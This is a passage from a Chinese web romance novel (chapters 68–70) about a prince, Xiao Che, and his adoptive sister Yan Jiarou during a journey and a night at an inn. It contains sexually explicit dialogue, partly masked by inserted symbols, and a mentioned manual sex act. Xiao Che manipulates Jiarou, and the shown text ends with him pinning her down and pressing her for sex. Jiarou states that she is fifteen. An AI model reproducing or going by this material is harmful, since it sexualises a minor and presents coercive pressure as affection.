“什么?” “不是我,那是谁?”颜嘉柔的声音几乎已经染上了哭腔:“是王若樱,还是崔令颐?” 萧彻皱眉:“你说什么?” 他此刻终于察觉到了她的反常,稍一思索,便知是她误会了。 好像……玩脱了。 小兔比她想得还开不起玩笑。 他连忙抬手替她拭去眼尾的湿意,柔声安慰道:“好了,我逗你的,怎么什么都信?” “我的椿梦,怎么可能会梦到别人?”他自嘲一笑:“你觉得,我还有可能喜欢上别人么?” 颜嘉柔泪眼朦胧地看着他,这时也反应过来萧彻之前只是在逗她罢了,他从未和旁的女子有过多的交集,又怎么会梦到她们?是她一时鬼迷心窍想岔了。 颜嘉柔脸色微红,低头绞着手指,支支吾吾地遮掩道:“那……那你怎么胡说,这事关旁人的清誉,所以我才……才那么紧张……” 大魏虽则民风开放,可极为信奉梦境,无论男女,只要梦见和对方行云雨之事,便表示两人之间一定有过亲密的接触。 所以颜嘉柔虽然是胡乱找的借口,但也并非全无依据。 “哦?”萧彻闻言,却是似笑非笑地看着她:“你不是,一向最讨厌她们两个吗,怎么突然这么好心,关心起她们的清誉来了?” “如果我没记错的话 ,我从头到尾都没提及过她二人的名字,是你胡乱揣测,要说有谁损害她二人的清誉,那个人,也是你。” 颜嘉柔心性单纯,一时居然被他唬住了,慌乱地辩解道:“我……我……我没有!”虽然她一向讨厌她二人看萧彻时的眼神,但她没有这么坏,要损害她二人的名节。 萧彻抚上她的脸,循循善诱:“我知道颜颜没有想损坏她们的名节,颜颜只是不想我做椿梦时梦到她们,是不是?” 颜嘉柔听到前面半句,便迫不及待地点了点头,等到后面半句出来后,也已经来不及了。 萧彻意味深长地笑:“哦,我知道了,颜颜不想我做椿梦时梦到别人,颜颜只想我做椿梦时梦到你,是不是?” 他凑至她的耳边,缓缓**着她的耳垂,看着她慢慢充血,变得鲜红欲滴的耳尖和脸颊,嘴巴又忍不住开始犯贱了: “你猜我梦到了什么,嗯?我梦到我把你。烂了,宝宝的水把窗单都尽是了,但宝宝很喜欢,扭动着药,死死咬着我,一直对我说:‘哥哥,好喜欢……’” “嗯,你是不是这样说的?” 颜嘉柔羞耻地都快要哭了:“我……我没有……” “哦?没有么?那就是故意污蔑我和旁的女子共赴巫山,损害她们的清誉了。” 颜嘉柔慌乱地摇头:“不……不是这样的……” “宝宝,”萧彻拇指揉捏着她水润鲜妍的唇瓣,诱哄着她道:“不能两个都说没有,讲道理,总得选一个吧,嗯?宝宝说,是不是?” “我了解颜颜的为人品性,知道你决不会平白污蔑旁人,损坏他人清誉的,是不是?” 颜嘉柔美眸浮着水汽,一脸茫然地看着他,不知不觉便掉入了他的陷阱,点了点头,嗓音带着些许鼻音,更显软糯:“嗯……我不是那样的人……同为女子,我才不会那么做。” “既然不是这个,那颜颜选的,是第一个了,是不是?” 颜嘉柔愣了一下,她完全不是萧彻的对手,稀里糊涂地掉入了他的逻辑圈套当中,以为真的必须选一个,于是两害相权取其轻,只能被迫选了第一个:“是……” “乖了,”萧彻鼓励地看着她:“是什么,宝宝,得说完整。” “是……是我想哥哥做椿梦,只梦到我,梦到哥哥,上我……” 萧彻笑着去亲她白腻的颈侧:“那宝宝喜不喜欢?” 话被诱导着说到这里,颜嘉柔被剧烈地羞耻裹挟着,大脑几乎已经不会思考了,颤抖着唇瓣,只能下意识地顺着萧彻的话回答:“喜欢……” 听到了满意的回答,萧彻愉悦地弯起唇角,下巴轻轻蹭了蹭她的颈侧:“宝宝好乖。” 颜嘉柔目光怔然地望着虚空中的一点,忽然想起萧珏之前一遍遍地骂她荡//。妇,他说这话的时候,表情是那样的厌恶。 回忆起方才自己的那般丑态,那些羞耻的话,竟都是她亲口说出来的,这与萧珏口中的荡//。妇有什么区别? 难道她真是天性y荡,不然为什么总是拒绝不了萧彻? 萧彻看见了她方才的丑态,会不会也那般厌恶她? 强烈的羞耻和不安笼罩着她,情绪在一瞬间反扑,她哭着摇头道:“我不是……我不是……那样y荡的人……” 萧彻被吓了一跳:“怎么了,颜颜?” 他抚摸着她的脸颊,一遍遍耐心地安慰她:“没人那么说你。” 颜嘉柔泪眼婆娑地看着他,眼圈红红的,鼻尖也红红的:“可是……可是我说了那样的话……好女孩是不会那样说的……” “谁说的?”萧彻动作轻柔地替她拭去泪痕:“这世上有千百种道理,没有哪一种规定,女子不能诉说自己的欲望。” “男h女a,本就天经地义。” “你喜欢我,自然可以说想要我,”他虔诚地在她额头上烙下一吻,用一种缱绻而低哑的声音,近乎结契一般地对她道:“颜颜,我是你的,永远只属于你。” 颜嘉柔心尖颤了一下,抬头一瞬不瞬地看着他:“萧彻……” 萧彻只是轻笑,他的笑一贯是漫不经心、玩世不恭的,她很少见到他慢慢收敛起笑意,以一种近乎郑重的语气对她道:“女子品性好坏与否,从来不以此为依据。” “你我两情相悦,本来就百无禁忌,那些话,也不过是调情助兴的手段,根本不算什么,你若是还不能适应,我以后再不逼你说了,好不好。” 他深深地注视着她,那样珍视的神情,凝着缱绻的爱意,就好像她是世间独一无二的珍宝:“我的颜颜,永远圣洁无暇。” 颜嘉柔泪凝于睫,她呆呆地看着他,只觉心底有什么,仿佛再也压制不住,即将破土而出。 她终于忍不住,一头扎进他的怀里,紧紧环着他的腰身,再度低低呜咽起来,却不是难过。 萧彻便又哄着她。 颜嘉柔原本只是想小小地宣泄一下情绪,过了一会儿便平复了,因着萧彻在哄她,她便格外又哭了好久,她喜欢并且享受萧彻哄着她。 她忽然记起从前他二人还是死对头的时候,萧彻总能最容易气哭她,倘若这事换了别人,她不会有这么大的反应,至少不会被气哭。 而为什么独独面对萧彻时如此,或许是因为她潜意识里知道,如果她真的哭了的话,萧彻其实是会放软态度的。 她终于不得不承认,这么多年,她其实一直渴望萧彻这么对她,哄着她、顺着她,喜欢她。 而不是跟她处处作对,惹她生气。 但他们两个一般的倔,偏生没有一个肯主动服软。 如果不是迎来了那个不为人的契机,或许他们二人的关系,一辈子都不会有转机。 第69章 第69章“天生一对,百无禁忌。…… 颜嘉柔脸颊贴在他的胸膛上,听着他平缓而有力的心跳,闷闷地想,如果萧彻肯早一点这么对她,他们才不会错过那么多时光。 娇作任性的颜大小姐,才不会承认自己也有问题! 这般想着,便小声地嘟哝道:“都怪你……” 萧彻只以为还是先前的事,便揉了揉她浑圆的后脑勺,含混地笑了声:“好,都怪我,这下满意了吗,宝宝?” 颜嘉柔娇哼了一声,在他怀里轻轻蹭了蹭,过了一会儿:“哥哥,我困了……” 她是真的很累,一天的舟车劳顿,原本就累极,先前又帮萧彻用手弄了半天,那样大,握都握不住,也不知是不是故意欺负她,为什么能一直不出来,呜呜罢工还要被他凶…… 而且刚刚又大哭了一场,把仅剩的一点力气都给耗光了,真正是筋疲力竭。 才刚说完“我困了”,很快便传来绵长均匀的呼吸声。 萧彻一挑眉,掰开她的脸一看,小脸粉扑扑的,上面残留着未干的泪痕,红润的唇瓣微微张着,竟然真的已经睡着了。 他抚上了她的脸颊。 她的脸很小,他的手又大,一只手掌便可完全覆盖。 他忍不住单手掐上了她的脸。 白腻的颊肉从指缝中溢出,仿佛牛乳。 他弯唇:“好肥的小兔,” “以后叫小猪好不好?” 睡梦中的颜嘉柔不满地哼哼:“哥哥,嗯……不要……” 萧彻是后来才发现颜嘉柔方才哭唧唧地往他怀里埋时,涕泪早已蹭了他一身,眼下正是一塌糊涂。 他忍不住笑了下,想到人是自己弄哭的,弄哭后还要巴巴地去哄,每回衣物更是要被小兔当巾帕使,小兔哪儿的水都多,一旦弄哭了,衣物必定得浸满一包泪回来,真正是自作孽不可活。 可他就是忍不住想要欺负她,一对上她,嘴巴就忍不住开始犯贱。 在某种程度上,他恐怕也是病得不轻。 —— 快入夜时到了驿馆,小兔还在睡, 萧彻即便不忍心,也只能将她叫醒。 刚醒来的嘉柔睡眼惺忪,整个人格外娇懒,黏人得厉害。 她侧趴在小几上,抬眼看着已经下了马车,正在车旁等他的萧彻,便朝他一伸手,娇嗔道:“拉我。” 萧彻挑眉,伸手接过她递过来的那只素手,略一用力,她便控制不住地整个身子往前倾,不偏不倚,正好摔在萧彻的怀里。 萧彻直接将她抱下了马车。 颜嘉柔惊魂未定,娇呼了一声,嗔怪道:“哥哥,吓我一跳。” “怕什么,”萧彻笑了声:“难道我会让你受伤?” —— 等到了驿馆,才发现房间不够了,颜嘉柔只能和人挤一间,三人站在那最后两间房的过道内,萧衍饶有兴味地看着她,问道:“小嘉柔,你怎么说?” 颜嘉柔抿了抿唇,挨着萧彻,小声道:“不妨事的二哥,我跟三哥住一间就好。” 萧衍“哟”了声,故意啧啧了两声:“同样都是哥哥,怎么小嘉柔这般偏心,只肯跟三弟一间房,却不肯过来跟我一块住?” 嘉柔涨红着脸:“我……” 萧彻道:“二哥,你别开她玩笑了。” “哟,这就护上了?”萧衍意味深长地笑了两声,也不再多说什么,经过颜嘉柔身边时,却忽然闻到了一股极淡的腥檀味。 味道已经很淡,显然是清理过了,轻易不会被人察觉,只不过这个味道他刚刚在马车上闻过,自然比常人多了一份敏锐。 原来方才在马车上风流快活的,不止是他,还有他的好三弟。 只不过颜嘉柔虽非皇室血脉,但到底有公主之尊,又是从小学习礼义廉耻,并不是那些烟花之地的浪**子,竟然也干起了无媒苟合的勾当,倒是有些出乎他的意料。 结合她今日跟萧彻举止这般亲密,甚至主动提出要和他一间房,实在很难不让人多想,他为人放浪形骸,在男女之事上向来口无遮拦,这是便忍不住揶揄道:“说起来,小嘉柔当日求到我跟前,说身染怪病,离不得三弟,现下看来,只怕是相思成疾吧?” “怎么,三弟身上到底有什么宝贝,让你如此念念不忘?” “小嘉柔,经此一遭,只怕日后都离不开了吧?” 眼下没有旁人,只有他们兄妹三个,因此萧衍说话更是没个忌讳。 颜嘉柔眨了眨眼,懵懂地看着他,似乎并不解其意。 却是萧彻陡得一声冷笑,只道:“二哥,她不是你府上那些姬妾和宠婢,她是你的幼妹,开不得这样的玩笑,别什么污言秽语,都在幼妹跟前说,她也听不得这些。” “劳烦二哥注意言行,没有下一次。” 这样的话,算得上是很不留情面了,饶是萧衍一贯嬉皮笑脸,此时也不由得面露难堪,嘴角微微抽动。 他不由得想起不久前听到的一些风声,说是萧珏和萧彻不知何故,在承欢殿大打出手,虽则只是捕风捉影的传闻,萧珏也向众人解释脸上的淤青不过是不小心摔倒所致,那几日多雨,的确路滑。 可萧衍却隐隐感觉这事与颜嘉柔脱不了干系。 否则为何偏偏是在承欢殿? 而今日所见,更是让他确信了之前的猜测。 ——那日萧彻打了萧珏,多半是为了颜嘉柔争风吃醋。 不用说萧珏了,就连他这位一向跟他走得近的二哥,他方才不也没有留丝毫的情面么? 不过是对着他的宝贝疙瘩说了两句荤话,这样的荤话,也只是打趣罢了,小嘉柔是他妹妹,他能对她有什么心思么? 他又不是萧彻和萧珏,连自己的妹妹都不放过,他虽然沉迷女色,但说到干事混账,他可是远不及萧彻和萧珏,起码他再想女人,也不会惦记自己从小看着长大的妹妹! 可就为了那两句荤话,萧彻便立刻翻脸了,就差动手打他了。 他面色也有些难看。 但他待萧彻到底比旁人宽容些,想了想,他这位三弟平时待他也不是这样的,不过是太在乎小嘉柔了,今日才会这般出言不逊。 何况他打了萧珏,却只语气不善地说了他两句,这说明什么?说明他心里还是有他这个二哥的。 算了,认个错,给他哥台阶下就是了。 不然能怎么,兄弟手足,还真要为一个女人翻脸不成? 只不过还没等他开口,颜嘉柔就连忙出来打圆场了。 她上次亲眼目睹萧珏和萧彻为了她打了起来,实在有了阴影,她太害怕这种事再发生了。 两边都是她的哥哥,无论是谁受伤,她都会很担心的。 她急急地拦在萧彻身前,偷偷地握住他的手晃了晃,示意他别再火上浇油。 一面对萧衍道:“其实二哥说得没错,我喜欢萧彻,在二哥面前也没什么好遮掩的……而且萧彻身上确实有宝贝呀,我本来就离不开他,不过经此一次是什么意思呢,我们那样已经有很多次了哦。” 萧彻:“?” 萧衍:“呃,小嘉柔你……” 饶是他久经风月,什么浑话都听过说过,这乍然听到幼妹这样说,还是愣了一下。 呃,这幼妹的行事作风,远比他想象得大胆啊。 他咳嗽了声,有些幸灾乐祸地抬头偷偷觑他三弟,果然见他也是一脸的神色复杂,四目相对,他立刻摆出一脸“我后来什么都没说,这可是她自己说的”的无辜神情。 萧彻皱眉,伸手面无表情地捂住了她的嘴:“皇妹,别说了。” “唔……呜。”皇妹委屈。 萧衍这边回过味来,寻思着按照小嘉柔的说法,他们该是早就搞在一起了,难怪萧珏气得鼻子都歪了,敢跟萧彻打架。 好好好,这么说来,萧珏的这顶绿帽戴得比他想象得还要早,真是大快人心! 他三弟不愧是他三弟! 让萧珏吃瘪这种事,实在是太痛快了。 他心情大好,自然也完全不计较今日萧彻给他摆脸色这件事了。 反倒是幼妹说错了话,他唯恐萧彻生气,不对幼妹发作,却迁怒到他身上,别说,这还真是萧彻能干出来的事儿。 萧衍瞧这情形,忖度着还是走为上策,便看着颜嘉柔,干笑了两声道:“小嘉柔,其实这都是你的私事,二哥也没兴趣知道,这样,我先走了,咳咳,就不打扰你们了……” 说完便转身进了左侧的那一间房。 等萧衍走后,萧彻低头掐了一下她的脸颊,蹙眉道:“小傻子,方才都在胡说八道些什么?” “为什么说大话,嗯?”他语气微沉,目光近乎审视地看着她,却分明带了几分懵懂的困惑:“我们明明,一次都没有。” “还说好几次,”他笑了下,玩味道:“谁跟你好几次?” “颜嘉柔,你知不知羞的?” 颜嘉柔眨了眨眼,一双澄透天真的眼眸中显出几分困惑:“可是,我们不是明明好几次了吗?”她伸出葱白似得一截指尖,轻轻点了点他的颈侧:“这里,我取了好几次血了,多到我都记不清了。” 萧彻:“…………” 萧彻叹息似得俯下身,与她额头相抵:“宝宝,”他道:“真是败给你了。” 他滚动了一下喉结,低声凑至她耳边,慢慢地道:“萧衍那两句话的意思,分明是……” 颜嘉柔慢慢睁大了美眸,白腻的脸颊上几乎是瞬间染上绯红! 若不是地面不会平白裂开,她真想找条地缝钻进去。 震惊羞愤之后,眸底便慢慢漫上湿意。 萧彻柔声安慰她道:“不哭了,我谅萧衍以后也不敢在你面前胡说。宝宝,你要记住,以后但凡是男人,便不允许他们在你面前开这样的玩笑,哪怕开的是你我的玩笑,也不可以,记住了么?” 颜嘉柔点了点头,用带有几分疑惑的眼神看向他,那眼神分明在说:那你也是男人……论说荤话的本领,只怕十个萧衍也未必及得上他。这天底下,大约再也没有哪个男子,会在她面前说那样多的骚话了。 如今 他却来提醒她要小心别的男人,怎么……这般怪异呢?就像是狼族的首领提醒小兔,要小心别的狼,可难道最该小心的,不是他么? 颜嘉柔藏不住事,心里想什么,脸上统统都表现了出来。 萧彻:“?” 他被气笑了,抬手刮了一下她的鼻尖:“想什么呢小兔,我跟他们能一样吗。” “小没良心的,难不成,我是别的男人?” 他的气息贴近了她,低哑的嗓音混着笑意,鼻息落在颈侧,勾起一片灼人的痒意。 远远看去,像是在接吻,仿佛一对亲密无间的情人:“我是,你的男人。皇妹,我是你的。” “我说了,我们天生一对,” “自然百无禁忌。” 第70章 第70章调情的小把戏。 颜嘉柔在原地呆呆地愣了好久,直到萧彻在不远处叫了她一声:“小兔,” 颜嘉柔这才反应过来,闻声抬头,见萧彻不知何时已经打开了房门,正抱臂斜斜地倚靠在门框上,身形薄而挺拔,介于少年和青年之间。 眉眼精致摄人,几可入画,一张脸说不出的好看。 他朝她伸出了手,微微一笑,足以令人恍神:“过来。” 颜嘉柔便像是受到了某种牵引,一步步地朝他走去。 及至走到他跟前,他接过她的手,略用了点力,便将人拽到了怀里。 他环上了她柔软的腰肢,微微俯身,将下巴枕在她的肩上,轻轻蹭了蹭她的脸颊:“宝宝,今晚我们就要同房了。” “同房”有歧义,而颜嘉柔想到的第一个含义,立刻让她的耳垂变得嫣红欲滴。 她蹙起眉,刚想开口,却在对上萧彻视线时察觉到了他眼底一闪而过的戏谑,这才反应过来“同房”还有另一层含义,萧彻是故意引导她想歪,等到她质问他时,他再倒打一耙。 于是临了出口的话,便成了:“是啊,第一次和哥哥住在同一个房间呢,请多指教。” 萧彻略一挑眉,似乎有些意外,他屈指刮蹭了一下她的鼻尖,轻笑一声:“小兔不好骗了。” 颜嘉柔闻言神色得意极了,像只翘了尾巴的猫咪:“是我变聪明了!” “宝宝,聪明的人是不会这么说的。” “不管,就是变聪明了!” 萧彻宠溺地笑:“那宝宝说什么,就是什么了。” “这还差不多。”颜嘉柔同样回抱住他的腰身。 她依偎在他的怀里,感受着他的气息和温度,像是浸泡在温暖的蜜水中,浑身酥酥软软的,心尖都冒着津甜的气泡。 她的脸颊在他的怀里蹭了蹭,余光瞥见近在咫尺的门框,恍惚地想到,这扇门后,在某种意义上,是第一个属于她和萧彻的房间。 那里没有任何顾虑,任何诘问,远离一切京中的人事。 美好得仿佛一场幻梦。 能让人暂时忘却一切烦忧,尽情地放纵沉溺。 要是能一直留在这里该多好,只有她和萧彻,以及一场场绮丽的幻梦。 没有艰难的选择,没有道德的谴责,没有沉重的诺言。 也没有……不得不面对的萧珏。 —— 萧衍回到房间之后,起初还不觉有什么,一杯茶水下肚,诶,整个人顿时反应过来了! 不对啊,萧彻有什么资格训他呢! 这天底下最没资格训他的人就是他萧彻了! 他便是失了分寸,言语上冒犯了幼妹,那也并没有动她一根手指头! 而他萧彻呢,他直接把人给睡了! 也亏颜嘉柔与他们兄弟几个并无血亲,否则他这般作为,与禽兽何异?咳咳,当然现在也好不到哪里去。从小看着长大的奶团子,不是亲妹也胜似亲妹了。 就凭他的所作所为,他也敢训他?他凭什么训他? 就凭小嘉柔喜欢他?他……萧衍一噎,伸手摸了摸鼻子,尽管心中再不服气,也不得不承认,这世上最不讲道理的,莫过于情之一字。 他还真没法问萧彻一句,他凭什么。 凭人小嘉柔喜欢他,心甘情愿地上了他的榻。 却未必容忍得了旁人言语冒犯,哪怕此人是她的二哥。 啧,罢了罢了,既如此,他何必去自讨没趣。 只是小嘉柔天真单纯,不谙世事,方才在门外,他拿她与萧彻的房中事打趣,她非但没生气,反而口出狂言,如今想来,只怕她是根本没听出那层意思。 这般不经事,又哪里禁受得住得住萧彻的手段? 只怕是小白兔掉入狼窝,迟早被萧彻那头大尾巴狼吃得连渣都不剩。 初时欢愉,之后他不信她能满足得了萧彻的胃口,下不来床都是轻的。 嘿,让她现在跟他这般腻歪,到时候可别来他跟前哭。 啧,若真有那个时候,二哥也是爱莫能助啊。 —— 因为实在太累,嘉柔进房间后便倒头就睡,中途被萧彻半哄半迫地喂了点银耳粥和鹿肉羹,填饱肚子后便又沉沉睡了过去。 这一觉直睡到天昏地暗,醒来后大有不知今夕何夕之感。 外面夜色浓重,万籁俱寂,似乎时辰已经很深了。 床榻上只有她一人,萧彻不知什么时候走了。 颜嘉柔这回翻来覆去,却是怎么都睡不着了。 目光所及,看不到萧彻,这让她在一个全然陌生的环境中感到轻微的分离焦虑和无所适从。 萧彻该是在隔壁房间,她听到书页翻动的声音了。 说是隔壁房间,其实不过是由屏风隔开的一小方天地,里面放置了一张木榻,瞧着极窄,只供一人休憩之用。 该是之前辟出来方便两个人挤一间的,萧彻去了那儿,难道晚上也要睡在那儿么? 那她怎么办……她不敢在这里一个人睡…… —— 萧彻靠坐在榻上,手上执了一本淮州县志,正缓缓翻过去一页,一侧的烛火摇曳,火光映照在他脸上,勾勒出仿若雕琢的轮廓。 听到从屏风后传来的窸窣动静,萧彻微微蹙眉,抬头一看,等见到屏风上那道犹豫着是否进来的婀娜剪影时,眼底倏尔浮上来点笑意,嗓音懒洋洋的:“怎么,这是闹鼠了?” 一面说着,将手中的书随手搁置在一边,作势起身:“看来,得让人进来看看,是什么样的小鼠,扰人清静。” 话音刚落,颜嘉柔终于着急地从屏风后现身:“不要让别人进来!” “哥哥,”她咬着唇瓣,扭扭捏捏地道:“是我……” 萧彻挑眉,唇边漾开一抹玩味的笑意:“哦?原来不是小鼠,是小兔。” 他上下扫了她一眼,见她只穿了一件寝衣,怀里还抱着被衾与方枕,意图实在明显不过。 他唇边的玩味愈发深了几分,只明知故问道:“你……有事?” “我……”迎着萧彻玩味的视线,嘉柔硬着头皮,最终还是磨磨蹭蹭地走到他身边:“从前在宫里,映雪都会在帐幔外陪床,萧彻,我不习惯……” “不习惯什么?”萧彻似笑非笑:“颜颜,你想要什么,说清楚。” 颜嘉柔咬着唇瓣,不明白为什么萧彻非得逼她说出来,她眸底漫上水雾,鼻尖红红的,干脆闭上了眼,一咬牙道:“我……我想和你睡……” 房间内一时寂无人声,落针可闻。 颜嘉柔慢慢睁开了眼,浓睫颤了颤:“可……可以么?” “你觉得呢?”萧彻唇边浮着一点笑,饶有兴味。 嘉柔雪腮鼓起,索性直接坐了下来:“我觉得可以!” 萧彻没有直接答应,这让她有点儿不高兴。 但不管怎么样,她觉得萧彻才不会拒绝她呢! 谁知萧彻轻笑了下,手指闲闲地敲着榻沿,只问她:“你想一晚上和我抱着睡么?” “什……什么?” “这木榻只能容一人休憩,你若非要和我挤在这儿,岂不是只能面对面合抱着睡一晚上了?” 颜嘉柔一愣,后知后觉地反应过来,似乎……确实如此。 她从一进来目光就落到萧彻身上,竟完全没有留意到。 萧彻的意思已经很明显了,既如此,她便不能和他一块儿睡。 虽然拒绝她的理由是客观原因,木榻太窄,也确实不能容纳两人,本无可奈何,但颜嘉柔还是很不高兴,甚至有点儿难过。 不知道为什么,她觉得萧彻一点儿都不想和她睡,他拒绝了她,刚好也有个现成的理由,他便捡来用了。 木榻那么窄,他一定开心死了。可称他的心意了吧。 颜嘉柔眼圈红红的,一下子觉得好难过。 她连忙低下了头,不让神情显露出 来,只闷闷地道:“那……那我走好了,不打扰三哥了。” 说完便起身,依旧抱着她的被衾和方枕回去了,只是走了没几步,身后却忽然传来萧彻的声音。 “皇妹,等等。” 颜嘉柔一怔,不免有几分怔仲,以为是萧彻改变主意想留下她了,虽然也知道那木榻必不能睡下两人,但心中却还是止不住的雀跃,便立刻转过了身去,脸上得意的神情藏都藏不住:“哼,你有事么?” 萧彻轻笑了声,淡道:“你有东西,落下了。” 说着目光向下扫去。 颜嘉柔顺着他的视线望去,才发现木榻边有一枚翠叶形制的和田玉坠,这正是她一贯贴身佩戴的那串,想是刚才她坐下时无意间落下的。 颜嘉柔一滞,神情肉眼可见地变得落寞下来,原来只是因为这个才叫住她…… 她兴致缺缺地“哦”了一声,重新走回了木榻边。 萧彻已经帮她捡起了那枚玉坠,她接过后攥在手心,慢慢垂下眼帘,正要往回走时,手臂却忽然被人往后一拽,她一个不稳,向后跌进了男人的怀里。 她被吓了一跳:“你……” “急什么,”男人从身后环上来,他的体温要比她高上许多,坚//。硬灼//。热的胸膛紧紧贴着她纤薄的脊背,热意便霸道地沿着二人相接之处渡了过来,一寸寸地侵袭着她的感官神经,让人不可自控地升温脸热:“你还落了一样东西。” “什……什么东西?”她下意思地低头察看,不记得还有落下什么东西了:“没有落东西了……” “怎么没落东西了?”萧彻嗓音低哑,吮咬着她白腻的耳垂:“你未来夫君落这儿了。” 颜嘉柔呆呆地转过头来看他:“你……” “不是想跟我睡吗?”他笑了声:“把我落这儿了怎么睡啊。” 颜嘉柔懵懂地眨了眨眼,终于反应过来了,脸上有一瞬的神采,但很快又黯淡下来,低头绞着手指,声音带着些许鼻音,软糯中又分明透着几分委屈与低落:“你不是说,木榻太窄,只能容纳你一个么……” “宝宝,难道我们就非得睡那张木榻么?”萧彻低笑了声,轻轻蹭了蹭她的脸颊:“有床不睡,为什么非要跟我挤一张窄榻呢?我们一起去你那里不行么,嗯?” 颜嘉柔慢吞吞地转了一圈脑袋,忽然眼神一亮,兴奋道:“对哦,我怎么没想到!” “萧彻,你好聪明,我太喜欢你了!” 萧彻分明忍着笑:“不过是全仰仗着皇妹衬托罢了。” “哼哼,别以为我听不出来,你在拐着弯骂我笨呢。我才不是太笨!不过是脑袋一时没转过弯来罢了!” “嘶,只是一时么,感觉至少也有十五年了。” “讨厌,人家才只有十五岁!” “哦,是么,那么就是天生……” “萧闻祈,你再说!” 眼见着小姑娘气鼓鼓地瞪着他,一副将将要发作的样子,萧彻挑眉,能屈能伸地及时收了手,抬手挠了挠她的下巴,顺了顺小兔的毛:“好了,不逗你玩儿了,困不困?睡觉去了。” 萧彻这么一说,她还真觉出几分困意了,抬手揉了揉眼睛,含糊地道:“唔,困,不想走了,你抱我去。” 说着熟练地勾缠上了他的脖颈,萧彻弯唇,从善如流地将她抱起。 只不过没走几步,眼看着就要睡过去的颜嘉柔忽然想起一事,前后一串,后知后觉地想通了其中的关窍,总算回过味来了: “不对,萧闻祈,你故意的对不对,你先前,是故意戏弄我的对不对!” 既然他从一开始就不打算拒绝她,为什么之前不明说,要害她以为他不能和她一起睡? 害她心绪跌宕起伏,一波三折,他分明是故意钓着她、戏弄她! 萧彻闻言却只是轻笑了下,反问:“这样不好么?” 颜嘉柔一怔:“什……什么?” “我若直接答应,恐怕你不会比现在更高兴,原以为无望,结果峰回路转,岂不有一种失而复得的意外之喜?” 颜嘉柔眼神单纯而清澈地望着他,险些被他糊弄过去了,好在很快反应了过来,毫不留情地拆穿了他的心思:“你少骗我!你就是觉得逗我好玩儿,所以才会故意这么做!” 萧彻:“……确实也不排除这方面的原因。” “萧!闻!祈!” “好了,颜颜,别生气了,”他道:“风月中的手段,你又何必较真,轻易到手的东西不会被珍惜,我想你多珍视我有一点,难道这也有错?” “什……什么……”颜嘉柔有些发懵地看着他,不明白为什么转瞬之间又变成他占理了:“你最会狡辩了,我说不过你,这总行了吧?” 话虽如此,她还是忍不住嘟哝道:“明明就是你欺负我嘛,你最喜欢欺负人了……” “这怎么叫欺负呢?”萧彻弯唇道:“不过是欲擒故纵,用来调情的手段罢了。你总好奇兰陵人于此道是否生来就精通,同样是人,为何你却不会,想来多少存着几分向学的心思,如今我不赚你一声老师,亲自教你还不好么。” 颜嘉柔懵了一瞬,目瞪口呆地看着他,不明白怎么三言两语之间,又是他占理了:“我……我……谁要你教了,我不过是心中好奇,随口问问罢了,谁说问了就要学!” 她不甘心一直被萧彻拿捏,有心想让他吃一回瘪,于是绞尽脑汁想了半天,倒真让她想出了一个呛他的话术:“谁说我要学了,我根本就不需要学好不好,我什么都不做,你就已经很喜欢我啦,我为什么要学这些调情取悦你的手段呢?” 萧彻面色凝滞了一瞬,第一次在颜嘉柔面前被噎得说不出话来。 他这个反应,可让颜嘉柔得意坏了,她挂在他臂弯的两条腿晃啊晃的,微微仰起下巴,葱白的手指戳了戳他的胸膛,娇哼一声道:“倒是你,你才要再精进钻研呢,想想该怎么让我更喜欢你,不然,我就……” “不然你就什么?”萧彻忽然压低语气问。 颜嘉柔咯咯娇笑,完全没有意识到事情的严重性:“不然我就,不选你唔……” 她睁大了美眸,看着萧彻毫无预兆地吻住了她。 也堵住了她未说出口的半句话。 这个吻萧彻没有如往常那般游刃有余地与她调情厮磨,而是略带了几分惩戒意味,霸道强势、肆意侵占。 颜嘉柔被迫承受着这个令人窒息的深吻,推拒的力道终究因为近乎无法呼吸而渐渐小了下来。 等到一吻结束,颜嘉柔便只有伏靠在萧彻肩上不住喘//。息的份。 她这时吃了亏,也才终于又记起“不选你,选萧珏”这句话,对萧彻来说是莫大的禁忌。 红唇微肿,眸底映着斑驳潋滟的水光,她抬眸幽怨地看着他,那些话自然是不敢再说了,却也不打算轻易放过他。 “喂,萧彻,”她依旧伸手点了点他的胸膛,一副娇娇的大小姐做派:“你干什么,难道我有说错吗?你难道不应该想办法让我更喜欢你吗? “你们兰陵人不会只有这么点道行吧?”她睨了他一眼,娇嗔道:“有什么手段,还不全都使出来。” 萧彻眸光暗了一瞬,转头目光复杂地看了她一眼,欲言又止,抱着她绕过了屏风。 颜嘉柔双手勾着他的脖子,被他一路抱着,一张小嘴依旧叭叭说个不停:“我说,你还是最好快点想想,还有什么可以取悦我的手段和方法,让我更喜欢你的!我才不需要你教呢,我又不用会那些,是你要更加精进才行!” “喂,萧彻,我在跟你说话呢,你听见没有——” “听到了。” 终于走到床榻前,他将人扔到了床上,随即双手撑在她的两侧,俯身压了上去。 两人一时离得极近,颜嘉柔躺在他的身//。下,萧彻脸上的表情很淡,只这么看着她,也不说话,她莫名觉得怪异,隐隐察觉到了一种难言的危险:“萧……萧彻……” 萧彻眉尾轻挑,伸手掐过她的下巴,向上微微抬起,要笑不笑地道:“不 是很会说吗,怎么不继续说了?” 颜嘉柔吞咽了一口口水,直觉现在她与萧彻之间的氛围十分微妙,危险似乎又浓重了几分,她也不敢再去招惹他,但到底不肯在嘴上服软认输,小声地道: “那……那我也没……没说错呀……你难道不应该想办法让我更喜欢你么……一个月的时间,可已经开始倒数了……” 萧彻突地一声轻笑,修长手指轻挑地划过她白腻的脸颊,闲闲地道:“有办法啊。” 颜嘉柔一怔,她原本不过是随口一说,没想到萧彻真能立刻想出办法,她也不由得好奇起来:“什……什么办法?” 萧彻就笑了,凑至她耳边,轻吹了口气道:“你乖乖让我c一顿啊。” “你……你在说什么啊!”颜嘉柔脸颊发烫,羞恼地瞪着他,完全没想到萧彻是怎么把这两件事联系到一起的。 萧彻笑得散漫不羁:“你不是让我想想,有什么办法,能让你更喜欢我吗?还特意提醒我身为兰陵人,是否有未使出来的手段。” “我想来想去,也就只有那件事了,如何,要不要试试,兰陵人最懂怎么让人快乐,这世上极乐之事,莫过于此,我想试上一回,你该是能更喜欢我。” 颜嘉柔的耳垂红得几乎便要滴血,她难堪地别过脸:“这……这是什么正经法子……肯定不管用……” “你都没试过,怎知不管用?” “你方才能说出那种话,不选我,那你想选谁?呵,我看,分明是欠c了。” 颜嘉柔也知道那句话触他逆鳞了,难免有几分心虚:“好嘛,以后不说就是了……”她抬头看了他一眼,小心翼翼地道:“那我们这页,能不能翻过去了?” 她想萧彻从她身上下来,他这样撑在她身上,实在让她觉得很有压迫感。 萧彻却道:“不能。” “不是你说的,问我有什么办法,能让你更喜欢我?” 